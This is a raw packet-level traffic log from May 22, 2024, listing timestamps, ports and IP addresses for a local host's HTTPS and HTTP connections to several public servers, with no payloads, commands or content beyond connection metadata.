May 22, 2024 20:01:45.117013931 CEST	443	59867	104.17.2.184	192.168.2.17
May 22, 2024 20:01:45.144043922 CEST	443	59865	104.17.2.184	192.168.2.17
May 22, 2024 20:01:45.144403934 CEST	59865	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:45.144413948 CEST	443	59865	104.17.2.184	192.168.2.17
May 22, 2024 20:01:45.147680044 CEST	443	59865	104.17.2.184	192.168.2.17
May 22, 2024 20:01:45.147778988 CEST	59865	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:45.148334980 CEST	59865	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:45.148397923 CEST	443	59865	104.17.2.184	192.168.2.17
May 22, 2024 20:01:45.148550034 CEST	59865	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:45.148557901 CEST	443	59865	104.17.2.184	192.168.2.17
May 22, 2024 20:01:45.193137884 CEST	59865	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:45.289918900 CEST	443	59865	104.17.2.184	192.168.2.17
May 22, 2024 20:01:45.290107965 CEST	443	59865	104.17.2.184	192.168.2.17
May 22, 2024 20:01:45.290178061 CEST	59865	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:45.290730000 CEST	59865	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:45.290745020 CEST	443	59865	104.17.2.184	192.168.2.17
May 22, 2024 20:01:45.543632984 CEST	443	59866	188.114.97.3	192.168.2.17
May 22, 2024 20:01:45.543976068 CEST	59866	443	192.168.2.17	188.114.97.3
May 22, 2024 20:01:45.544004917 CEST	443	59866	188.114.97.3	192.168.2.17
May 22, 2024 20:01:45.544492960 CEST	443	59866	188.114.97.3	192.168.2.17
May 22, 2024 20:01:45.544914961 CEST	59866	443	192.168.2.17	188.114.97.3
May 22, 2024 20:01:45.545006990 CEST	443	59866	188.114.97.3	192.168.2.17
May 22, 2024 20:01:45.545149088 CEST	59866	443	192.168.2.17	188.114.97.3
May 22, 2024 20:01:45.590493917 CEST	443	59866	188.114.97.3	192.168.2.17
May 22, 2024 20:01:45.595535040 CEST	443	59867	104.17.2.184	192.168.2.17
May 22, 2024 20:01:45.595776081 CEST	59867	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:45.595794916 CEST	443	59867	104.17.2.184	192.168.2.17
May 22, 2024 20:01:45.596116066 CEST	443	59867	104.17.2.184	192.168.2.17
May 22, 2024 20:01:45.596515894 CEST	59867	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:45.596579075 CEST	443	59867	104.17.2.184	192.168.2.17
May 22, 2024 20:01:45.596668005 CEST	59867	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:45.596702099 CEST	59867	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:45.596741915 CEST	443	59867	104.17.2.184	192.168.2.17
May 22, 2024 20:01:45.795595884 CEST	443	59867	104.17.2.184	192.168.2.17
May 22, 2024 20:01:45.796192884 CEST	443	59867	104.17.2.184	192.168.2.17
May 22, 2024 20:01:45.796245098 CEST	443	59867	104.17.2.184	192.168.2.17
May 22, 2024 20:01:45.796257019 CEST	59867	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:45.796274900 CEST	443	59867	104.17.2.184	192.168.2.17
May 22, 2024 20:01:45.796307087 CEST	59867	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:45.796314001 CEST	443	59867	104.17.2.184	192.168.2.17
May 22, 2024 20:01:45.798604965 CEST	443	59867	104.17.2.184	192.168.2.17
May 22, 2024 20:01:45.798625946 CEST	443	59867	104.17.2.184	192.168.2.17
May 22, 2024 20:01:45.798655033 CEST	59867	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:45.798667908 CEST	443	59867	104.17.2.184	192.168.2.17
May 22, 2024 20:01:45.798706055 CEST	59867	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:45.798713923 CEST	443	59867	104.17.2.184	192.168.2.17
May 22, 2024 20:01:45.810266972 CEST	443	59867	104.17.2.184	192.168.2.17
May 22, 2024 20:01:45.810322046 CEST	59867	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:45.810338020 CEST	443	59867	104.17.2.184	192.168.2.17
May 22, 2024 20:01:45.857095003 CEST	59867	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:45.857110023 CEST	443	59867	104.17.2.184	192.168.2.17
May 22, 2024 20:01:45.884668112 CEST	443	59867	104.17.2.184	192.168.2.17
May 22, 2024 20:01:45.884737968 CEST	59867	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:45.884747982 CEST	443	59867	104.17.2.184	192.168.2.17
May 22, 2024 20:01:45.886523962 CEST	443	59867	104.17.2.184	192.168.2.17
May 22, 2024 20:01:45.886557102 CEST	443	59867	104.17.2.184	192.168.2.17
May 22, 2024 20:01:45.886581898 CEST	59867	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:45.886590958 CEST	443	59867	104.17.2.184	192.168.2.17
May 22, 2024 20:01:45.886629105 CEST	59867	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:45.887629032 CEST	443	59867	104.17.2.184	192.168.2.17
May 22, 2024 20:01:45.888748884 CEST	443	59867	104.17.2.184	192.168.2.17
May 22, 2024 20:01:45.888813972 CEST	59867	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:45.888820887 CEST	443	59867	104.17.2.184	192.168.2.17
May 22, 2024 20:01:45.889353991 CEST	443	59867	104.17.2.184	192.168.2.17
May 22, 2024 20:01:45.889400005 CEST	59867	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:45.889406919 CEST	443	59867	104.17.2.184	192.168.2.17
May 22, 2024 20:01:45.890548944 CEST	443	59867	104.17.2.184	192.168.2.17
May 22, 2024 20:01:45.890613079 CEST	59867	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:45.890620947 CEST	443	59867	104.17.2.184	192.168.2.17
May 22, 2024 20:01:45.891709089 CEST	443	59867	104.17.2.184	192.168.2.17
May 22, 2024 20:01:45.891761065 CEST	59867	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:45.891768932 CEST	443	59867	104.17.2.184	192.168.2.17
May 22, 2024 20:01:45.892848969 CEST	443	59867	104.17.2.184	192.168.2.17
May 22, 2024 20:01:45.892895937 CEST	59867	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:45.892903090 CEST	443	59867	104.17.2.184	192.168.2.17
May 22, 2024 20:01:45.893937111 CEST	443	59867	104.17.2.184	192.168.2.17
May 22, 2024 20:01:45.893994093 CEST	59867	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:45.894001961 CEST	443	59867	104.17.2.184	192.168.2.17
May 22, 2024 20:01:45.894745111 CEST	443	59867	104.17.2.184	192.168.2.17
May 22, 2024 20:01:45.894798994 CEST	59867	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:45.894807100 CEST	443	59867	104.17.2.184	192.168.2.17
May 22, 2024 20:01:45.895684958 CEST	443	59867	104.17.2.184	192.168.2.17
May 22, 2024 20:01:45.895926952 CEST	59867	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:45.895942926 CEST	443	59867	104.17.2.184	192.168.2.17
May 22, 2024 20:01:45.896569967 CEST	443	59867	104.17.2.184	192.168.2.17
May 22, 2024 20:01:45.896646023 CEST	59867	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:45.896683931 CEST	443	59867	104.17.2.184	192.168.2.17
May 22, 2024 20:01:45.952210903 CEST	59867	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:45.977138996 CEST	443	59867	104.17.2.184	192.168.2.17
May 22, 2024 20:01:45.978235006 CEST	443	59867	104.17.2.184	192.168.2.17
May 22, 2024 20:01:45.978261948 CEST	443	59867	104.17.2.184	192.168.2.17
May 22, 2024 20:01:45.978287935 CEST	443	59867	104.17.2.184	192.168.2.17
May 22, 2024 20:01:45.978351116 CEST	59867	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:45.978351116 CEST	59867	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:45.978375912 CEST	443	59867	104.17.2.184	192.168.2.17
May 22, 2024 20:01:45.981539965 CEST	443	59867	104.17.2.184	192.168.2.17
May 22, 2024 20:01:45.981548071 CEST	443	59867	104.17.2.184	192.168.2.17
May 22, 2024 20:01:45.981645107 CEST	59867	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:45.981645107 CEST	59867	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:45.981656075 CEST	443	59867	104.17.2.184	192.168.2.17
May 22, 2024 20:01:45.983149052 CEST	443	59867	104.17.2.184	192.168.2.17
May 22, 2024 20:01:45.983225107 CEST	443	59867	104.17.2.184	192.168.2.17
May 22, 2024 20:01:45.983269930 CEST	59867	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:45.983282089 CEST	443	59867	104.17.2.184	192.168.2.17
May 22, 2024 20:01:45.983293056 CEST	59867	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:45.984293938 CEST	443	59867	104.17.2.184	192.168.2.17
May 22, 2024 20:01:45.984370947 CEST	59867	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:45.984385967 CEST	443	59867	104.17.2.184	192.168.2.17
May 22, 2024 20:01:45.984879971 CEST	59867	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:45.986392975 CEST	443	59867	104.17.2.184	192.168.2.17
May 22, 2024 20:01:45.986474037 CEST	59867	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:45.988058090 CEST	443	59867	104.17.2.184	192.168.2.17
May 22, 2024 20:01:45.988173008 CEST	59867	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:45.989125967 CEST	443	59867	104.17.2.184	192.168.2.17
May 22, 2024 20:01:45.989439011 CEST	59867	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:45.990755081 CEST	443	59867	104.17.2.184	192.168.2.17
May 22, 2024 20:01:45.990855932 CEST	59867	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:45.993974924 CEST	443	59867	104.17.2.184	192.168.2.17
May 22, 2024 20:01:45.994152069 CEST	59867	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:45.995750904 CEST	443	59867	104.17.2.184	192.168.2.17
May 22, 2024 20:01:45.996011019 CEST	59867	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:45.997251034 CEST	443	59867	104.17.2.184	192.168.2.17
May 22, 2024 20:01:45.997342110 CEST	59867	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:45.997865915 CEST	443	59867	104.17.2.184	192.168.2.17
May 22, 2024 20:01:45.997951984 CEST	59867	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:46.001257896 CEST	443	59867	104.17.2.184	192.168.2.17
May 22, 2024 20:01:46.001513004 CEST	59867	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:46.069217920 CEST	443	59867	104.17.2.184	192.168.2.17
May 22, 2024 20:01:46.069334030 CEST	59867	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:46.071666002 CEST	443	59867	104.17.2.184	192.168.2.17
May 22, 2024 20:01:46.071865082 CEST	59867	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:46.076076984 CEST	443	59867	104.17.2.184	192.168.2.17
May 22, 2024 20:01:46.076150894 CEST	443	59867	104.17.2.184	192.168.2.17
May 22, 2024 20:01:46.076183081 CEST	443	59867	104.17.2.184	192.168.2.17
May 22, 2024 20:01:46.076208115 CEST	59867	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:46.076323986 CEST	59867	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:46.076519012 CEST	59867	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:46.076536894 CEST	443	59867	104.17.2.184	192.168.2.17
May 22, 2024 20:01:46.078954935 CEST	59870	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:46.078993082 CEST	443	59870	104.17.2.184	192.168.2.17
May 22, 2024 20:01:46.085062981 CEST	59870	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:46.085299969 CEST	59870	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:46.085321903 CEST	443	59870	104.17.2.184	192.168.2.17
May 22, 2024 20:01:46.256879091 CEST	59871	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:46.256920099 CEST	443	59871	104.17.2.184	192.168.2.17
May 22, 2024 20:01:46.261157036 CEST	59871	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:46.261157036 CEST	59871	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:46.261188030 CEST	443	59871	104.17.2.184	192.168.2.17
May 22, 2024 20:01:46.352868080 CEST	49680	443	192.168.2.17	20.189.173.13
May 22, 2024 20:01:46.674617052 CEST	443	59870	104.17.2.184	192.168.2.17
May 22, 2024 20:01:46.675074100 CEST	59870	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:46.675103903 CEST	443	59870	104.17.2.184	192.168.2.17
May 22, 2024 20:01:46.676222086 CEST	443	59870	104.17.2.184	192.168.2.17
May 22, 2024 20:01:46.676789999 CEST	59870	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:46.676789999 CEST	59870	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:46.676973104 CEST	443	59870	104.17.2.184	192.168.2.17
May 22, 2024 20:01:46.730434895 CEST	59870	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:46.846304893 CEST	443	59870	104.17.2.184	192.168.2.17
May 22, 2024 20:01:46.846380949 CEST	443	59870	104.17.2.184	192.168.2.17
May 22, 2024 20:01:46.847213030 CEST	59870	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:46.847213030 CEST	59870	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:47.000864029 CEST	443	59871	104.17.2.184	192.168.2.17
May 22, 2024 20:01:47.001364946 CEST	59871	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:47.001395941 CEST	443	59871	104.17.2.184	192.168.2.17
May 22, 2024 20:01:47.001858950 CEST	443	59871	104.17.2.184	192.168.2.17
May 22, 2024 20:01:47.002182961 CEST	59871	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:47.002281904 CEST	443	59871	104.17.2.184	192.168.2.17
May 22, 2024 20:01:47.002335072 CEST	59871	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:47.014219999 CEST	49675	443	192.168.2.17	204.79.197.203
May 22, 2024 20:01:47.039191961 CEST	443	59866	188.114.97.3	192.168.2.17
May 22, 2024 20:01:47.039251089 CEST	443	59866	188.114.97.3	192.168.2.17
May 22, 2024 20:01:47.039316893 CEST	59866	443	192.168.2.17	188.114.97.3
May 22, 2024 20:01:47.040261984 CEST	59866	443	192.168.2.17	188.114.97.3
May 22, 2024 20:01:47.040302038 CEST	443	59866	188.114.97.3	192.168.2.17
May 22, 2024 20:01:47.042498112 CEST	443	59871	104.17.2.184	192.168.2.17
May 22, 2024 20:01:47.046127081 CEST	59871	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:47.055514097 CEST	59872	443	192.168.2.17	35.190.80.1
May 22, 2024 20:01:47.055557966 CEST	443	59872	35.190.80.1	192.168.2.17
May 22, 2024 20:01:47.055640936 CEST	59872	443	192.168.2.17	35.190.80.1
May 22, 2024 20:01:47.055900097 CEST	59872	443	192.168.2.17	35.190.80.1
May 22, 2024 20:01:47.055932045 CEST	443	59872	35.190.80.1	192.168.2.17
May 22, 2024 20:01:47.156213999 CEST	59870	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:47.156246901 CEST	443	59870	104.17.2.184	192.168.2.17
May 22, 2024 20:01:47.159387112 CEST	443	59871	104.17.2.184	192.168.2.17
May 22, 2024 20:01:47.159516096 CEST	443	59871	104.17.2.184	192.168.2.17
May 22, 2024 20:01:47.159584999 CEST	59871	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:47.160671949 CEST	59871	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:47.160687923 CEST	443	59871	104.17.2.184	192.168.2.17
May 22, 2024 20:01:47.610582113 CEST	443	59872	35.190.80.1	192.168.2.17
May 22, 2024 20:01:47.611113071 CEST	59872	443	192.168.2.17	35.190.80.1
May 22, 2024 20:01:47.611145020 CEST	443	59872	35.190.80.1	192.168.2.17
May 22, 2024 20:01:47.612313032 CEST	443	59872	35.190.80.1	192.168.2.17
May 22, 2024 20:01:47.612386942 CEST	59872	443	192.168.2.17	35.190.80.1
May 22, 2024 20:01:47.613403082 CEST	59872	443	192.168.2.17	35.190.80.1
May 22, 2024 20:01:47.613476038 CEST	443	59872	35.190.80.1	192.168.2.17
May 22, 2024 20:01:47.613600016 CEST	59872	443	192.168.2.17	35.190.80.1
May 22, 2024 20:01:47.613610983 CEST	443	59872	35.190.80.1	192.168.2.17
May 22, 2024 20:01:47.662161112 CEST	59872	443	192.168.2.17	35.190.80.1
May 22, 2024 20:01:47.745237112 CEST	443	59872	35.190.80.1	192.168.2.17
May 22, 2024 20:01:47.745575905 CEST	59872	443	192.168.2.17	35.190.80.1
May 22, 2024 20:01:47.745686054 CEST	443	59872	35.190.80.1	192.168.2.17
May 22, 2024 20:01:47.745829105 CEST	59872	443	192.168.2.17	35.190.80.1
May 22, 2024 20:01:47.746248960 CEST	59873	443	192.168.2.17	35.190.80.1
May 22, 2024 20:01:47.746268988 CEST	443	59873	35.190.80.1	192.168.2.17
May 22, 2024 20:01:47.746340036 CEST	59873	443	192.168.2.17	35.190.80.1
May 22, 2024 20:01:47.746637106 CEST	59873	443	192.168.2.17	35.190.80.1
May 22, 2024 20:01:47.746649981 CEST	443	59873	35.190.80.1	192.168.2.17
May 22, 2024 20:01:47.932305098 CEST	59874	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:47.932375908 CEST	443	59874	104.17.2.184	192.168.2.17
May 22, 2024 20:01:47.932476044 CEST	59874	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:47.932682037 CEST	59874	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:47.932715893 CEST	443	59874	104.17.2.184	192.168.2.17
May 22, 2024 20:01:48.378382921 CEST	443	59873	35.190.80.1	192.168.2.17
May 22, 2024 20:01:48.383594036 CEST	59873	443	192.168.2.17	35.190.80.1
May 22, 2024 20:01:48.383616924 CEST	443	59873	35.190.80.1	192.168.2.17
May 22, 2024 20:01:48.386991024 CEST	443	59873	35.190.80.1	192.168.2.17
May 22, 2024 20:01:48.387100935 CEST	59873	443	192.168.2.17	35.190.80.1
May 22, 2024 20:01:48.388020039 CEST	59873	443	192.168.2.17	35.190.80.1
May 22, 2024 20:01:48.388166904 CEST	443	59873	35.190.80.1	192.168.2.17
May 22, 2024 20:01:48.388381958 CEST	59873	443	192.168.2.17	35.190.80.1
May 22, 2024 20:01:48.388391018 CEST	443	59873	35.190.80.1	192.168.2.17
May 22, 2024 20:01:48.419784069 CEST	443	59874	104.17.2.184	192.168.2.17
May 22, 2024 20:01:48.420329094 CEST	59874	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:48.420399904 CEST	443	59874	104.17.2.184	192.168.2.17
May 22, 2024 20:01:48.420752048 CEST	443	59874	104.17.2.184	192.168.2.17
May 22, 2024 20:01:48.421060085 CEST	59874	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:48.421133995 CEST	443	59874	104.17.2.184	192.168.2.17
May 22, 2024 20:01:48.421260118 CEST	59874	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:48.439141989 CEST	59873	443	192.168.2.17	35.190.80.1
May 22, 2024 20:01:48.462519884 CEST	443	59874	104.17.2.184	192.168.2.17
May 22, 2024 20:01:48.591106892 CEST	443	59873	35.190.80.1	192.168.2.17
May 22, 2024 20:01:48.591543913 CEST	59873	443	192.168.2.17	35.190.80.1
May 22, 2024 20:01:48.591640949 CEST	443	59873	35.190.80.1	192.168.2.17
May 22, 2024 20:01:48.591712952 CEST	59873	443	192.168.2.17	35.190.80.1
May 22, 2024 20:01:48.647850037 CEST	443	59874	104.17.2.184	192.168.2.17
May 22, 2024 20:01:48.647953033 CEST	443	59874	104.17.2.184	192.168.2.17
May 22, 2024 20:01:48.648019075 CEST	59874	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:48.649040937 CEST	59874	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:48.649065971 CEST	443	59874	104.17.2.184	192.168.2.17
May 22, 2024 20:01:48.651846886 CEST	59875	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:48.651873112 CEST	443	59875	104.17.2.184	192.168.2.17
May 22, 2024 20:01:48.651957035 CEST	59875	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:48.652229071 CEST	59875	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:48.652240992 CEST	443	59875	104.17.2.184	192.168.2.17
May 22, 2024 20:01:48.821154118 CEST	59876	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:48.821185112 CEST	443	59876	104.17.2.184	192.168.2.17
May 22, 2024 20:01:48.821260929 CEST	59876	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:48.821558952 CEST	59876	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:48.821572065 CEST	443	59876	104.17.2.184	192.168.2.17
May 22, 2024 20:01:49.235918045 CEST	443	59875	104.17.2.184	192.168.2.17
May 22, 2024 20:01:49.236327887 CEST	59875	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:49.236363888 CEST	443	59875	104.17.2.184	192.168.2.17
May 22, 2024 20:01:49.236994982 CEST	443	59875	104.17.2.184	192.168.2.17
May 22, 2024 20:01:49.237387896 CEST	59875	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:49.237462997 CEST	443	59875	104.17.2.184	192.168.2.17
May 22, 2024 20:01:49.237562895 CEST	59875	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:49.282502890 CEST	443	59875	104.17.2.184	192.168.2.17
May 22, 2024 20:01:49.319086075 CEST	443	59876	104.17.2.184	192.168.2.17
May 22, 2024 20:01:49.319510937 CEST	59876	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:49.319533110 CEST	443	59876	104.17.2.184	192.168.2.17
May 22, 2024 20:01:49.319878101 CEST	443	59876	104.17.2.184	192.168.2.17
May 22, 2024 20:01:49.320269108 CEST	59876	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:49.320341110 CEST	443	59876	104.17.2.184	192.168.2.17
May 22, 2024 20:01:49.320450068 CEST	59876	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:49.320544958 CEST	59876	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:49.320574999 CEST	443	59876	104.17.2.184	192.168.2.17
May 22, 2024 20:01:49.320667982 CEST	59876	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:49.320703030 CEST	443	59876	104.17.2.184	192.168.2.17
May 22, 2024 20:01:49.431627989 CEST	443	59875	104.17.2.184	192.168.2.17
May 22, 2024 20:01:49.431699038 CEST	443	59875	104.17.2.184	192.168.2.17
May 22, 2024 20:01:49.431756973 CEST	59875	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:49.432512045 CEST	59875	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:49.432538033 CEST	443	59875	104.17.2.184	192.168.2.17
May 22, 2024 20:01:49.569029093 CEST	443	59876	104.17.2.184	192.168.2.17
May 22, 2024 20:01:49.571429968 CEST	443	59876	104.17.2.184	192.168.2.17
May 22, 2024 20:01:49.571451902 CEST	443	59876	104.17.2.184	192.168.2.17
May 22, 2024 20:01:49.571470976 CEST	443	59876	104.17.2.184	192.168.2.17
May 22, 2024 20:01:49.571487904 CEST	59876	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:49.571506977 CEST	443	59876	104.17.2.184	192.168.2.17
May 22, 2024 20:01:49.571522951 CEST	59876	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:49.578772068 CEST	443	59876	104.17.2.184	192.168.2.17
May 22, 2024 20:01:49.578850031 CEST	59876	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:49.578865051 CEST	443	59876	104.17.2.184	192.168.2.17
May 22, 2024 20:01:49.583704948 CEST	443	59876	104.17.2.184	192.168.2.17
May 22, 2024 20:01:49.583761930 CEST	59876	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:49.583775997 CEST	443	59876	104.17.2.184	192.168.2.17
May 22, 2024 20:01:49.587589025 CEST	443	59876	104.17.2.184	192.168.2.17
May 22, 2024 20:01:49.587640047 CEST	59876	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:49.587655067 CEST	443	59876	104.17.2.184	192.168.2.17
May 22, 2024 20:01:49.639836073 CEST	59876	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:49.639858961 CEST	443	59876	104.17.2.184	192.168.2.17
May 22, 2024 20:01:49.655961037 CEST	443	59876	104.17.2.184	192.168.2.17
May 22, 2024 20:01:49.656018972 CEST	59876	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:49.656045914 CEST	443	59876	104.17.2.184	192.168.2.17
May 22, 2024 20:01:49.661757946 CEST	443	59876	104.17.2.184	192.168.2.17
May 22, 2024 20:01:49.661818981 CEST	59876	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:49.661829948 CEST	443	59876	104.17.2.184	192.168.2.17
May 22, 2024 20:01:49.668932915 CEST	443	59876	104.17.2.184	192.168.2.17
May 22, 2024 20:01:49.668993950 CEST	59876	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:49.669002056 CEST	443	59876	104.17.2.184	192.168.2.17
May 22, 2024 20:01:49.669127941 CEST	443	59876	104.17.2.184	192.168.2.17
May 22, 2024 20:01:49.669151068 CEST	59876	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:49.669159889 CEST	443	59876	104.17.2.184	192.168.2.17
May 22, 2024 20:01:49.669181108 CEST	59876	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:49.672059059 CEST	59877	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:49.672082901 CEST	443	59877	104.17.2.184	192.168.2.17
May 22, 2024 20:01:49.672158003 CEST	59877	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:49.672554970 CEST	59877	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:49.672569036 CEST	443	59877	104.17.2.184	192.168.2.17
May 22, 2024 20:01:50.193104029 CEST	443	59877	104.17.2.184	192.168.2.17
May 22, 2024 20:01:50.193511963 CEST	59877	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:50.193538904 CEST	443	59877	104.17.2.184	192.168.2.17
May 22, 2024 20:01:50.193897963 CEST	443	59877	104.17.2.184	192.168.2.17
May 22, 2024 20:01:50.194221020 CEST	59877	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:50.194298983 CEST	443	59877	104.17.2.184	192.168.2.17
May 22, 2024 20:01:50.194348097 CEST	59877	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:50.238502026 CEST	443	59877	104.17.2.184	192.168.2.17
May 22, 2024 20:01:50.244148016 CEST	59877	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:50.276346922 CEST	49682	80	192.168.2.17	192.229.211.108
May 22, 2024 20:01:50.389079094 CEST	443	59877	104.17.2.184	192.168.2.17
May 22, 2024 20:01:50.389156103 CEST	443	59877	104.17.2.184	192.168.2.17
May 22, 2024 20:01:50.389220953 CEST	59877	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:50.389770031 CEST	59877	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:50.389790058 CEST	443	59877	104.17.2.184	192.168.2.17
May 22, 2024 20:01:50.578257084 CEST	49682	80	192.168.2.17	192.229.211.108
May 22, 2024 20:01:51.153255939 CEST	49680	443	192.168.2.17	20.189.173.13
May 22, 2024 20:01:51.185342073 CEST	49682	80	192.168.2.17	192.229.211.108
May 22, 2024 20:01:52.398271084 CEST	49682	80	192.168.2.17	192.229.211.108
May 22, 2024 20:01:53.133232117 CEST	443	49777	172.217.16.196	192.168.2.17
May 22, 2024 20:01:53.133373022 CEST	443	49777	172.217.16.196	192.168.2.17
May 22, 2024 20:01:53.133445024 CEST	49777	443	192.168.2.17	172.217.16.196
May 22, 2024 20:01:54.058698893 CEST	49777	443	192.168.2.17	172.217.16.196
May 22, 2024 20:01:54.058768034 CEST	443	49777	172.217.16.196	192.168.2.17
May 22, 2024 20:01:54.809237957 CEST	49682	80	192.168.2.17	192.229.211.108
May 22, 2024 20:01:56.076812029 CEST	49690	443	192.168.2.17	204.79.197.200
May 22, 2024 20:01:56.082657099 CEST	443	49690	204.79.197.200	192.168.2.17
May 22, 2024 20:01:56.175620079 CEST	443	49690	204.79.197.200	192.168.2.17
May 22, 2024 20:01:56.175832033 CEST	49690	443	192.168.2.17	204.79.197.200
May 22, 2024 20:01:56.176889896 CEST	49690	443	192.168.2.17	204.79.197.200
May 22, 2024 20:01:56.176949024 CEST	49690	443	192.168.2.17	204.79.197.200
May 22, 2024 20:01:56.177082062 CEST	49690	443	192.168.2.17	204.79.197.200
May 22, 2024 20:01:56.177256107 CEST	49690	443	192.168.2.17	204.79.197.200
May 22, 2024 20:01:56.177356005 CEST	49690	443	192.168.2.17	204.79.197.200
May 22, 2024 20:01:56.182595968 CEST	443	49690	204.79.197.200	192.168.2.17
May 22, 2024 20:01:56.235748053 CEST	443	49690	204.79.197.200	192.168.2.17
May 22, 2024 20:01:56.235769033 CEST	443	49690	204.79.197.200	192.168.2.17
May 22, 2024 20:01:56.235783100 CEST	443	49690	204.79.197.200	192.168.2.17
May 22, 2024 20:01:56.235795975 CEST	443	49690	204.79.197.200	192.168.2.17
